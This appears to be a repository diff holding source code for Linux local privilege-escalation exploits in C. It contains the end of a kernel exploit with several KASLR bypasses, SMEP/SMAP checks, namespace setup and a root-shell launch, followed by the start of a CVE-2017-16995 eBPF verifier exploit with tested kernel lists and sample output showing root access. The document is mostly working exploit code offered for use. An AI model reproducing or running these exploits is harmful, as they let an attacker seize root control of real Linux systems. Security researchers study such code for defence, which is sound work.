|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,496 @@
|
|||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
